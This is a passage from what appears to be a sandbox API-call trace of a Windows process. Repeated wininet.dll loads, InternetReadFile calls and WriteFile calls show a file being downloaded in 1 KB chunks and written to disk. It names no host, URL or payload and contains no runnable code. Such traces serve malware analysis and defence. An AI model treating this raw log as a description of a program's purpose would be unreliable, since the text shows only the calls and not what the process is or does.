lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.416] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.416] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.443] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.443] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.443] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.444] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.444] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.444] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.445] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.445] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.445] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.445] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.446] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.446] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.446] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.446] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.446] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.446] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.447] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.447] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.447] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.447] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.447] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.447] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.447] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.448] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.448] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.448] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.448] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.448] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.448] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.448] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.449] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.449] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.449] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.449] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.450] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.450] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.450] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.450] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.451] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.451] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.451] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.451] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.451] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.451] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.451] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.451] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.452] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.452] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.452] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.452] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.452] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.452] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.453] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.453] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.453] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.453] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.454] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.454] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.454] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.454] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.454] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.455] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.455] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.455] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.455] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.456] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.456] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.456] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.456] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.456] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.456] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.457] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.457] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.457] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.457] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.457] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.457] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.458] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.458] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.458] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.458] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.458] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.458] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.459] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.459] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.460] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.460] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.460] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.460] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.461] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.461] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.461] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.461] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.461] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.461] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.461] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.461] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.461] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.462] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.462] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.462] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.462] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.462] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.462] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.462] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.462] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.462] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.463] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.463] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.463] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.463] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.463] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.463] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.463] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.463] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.464] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.464] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.464] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, 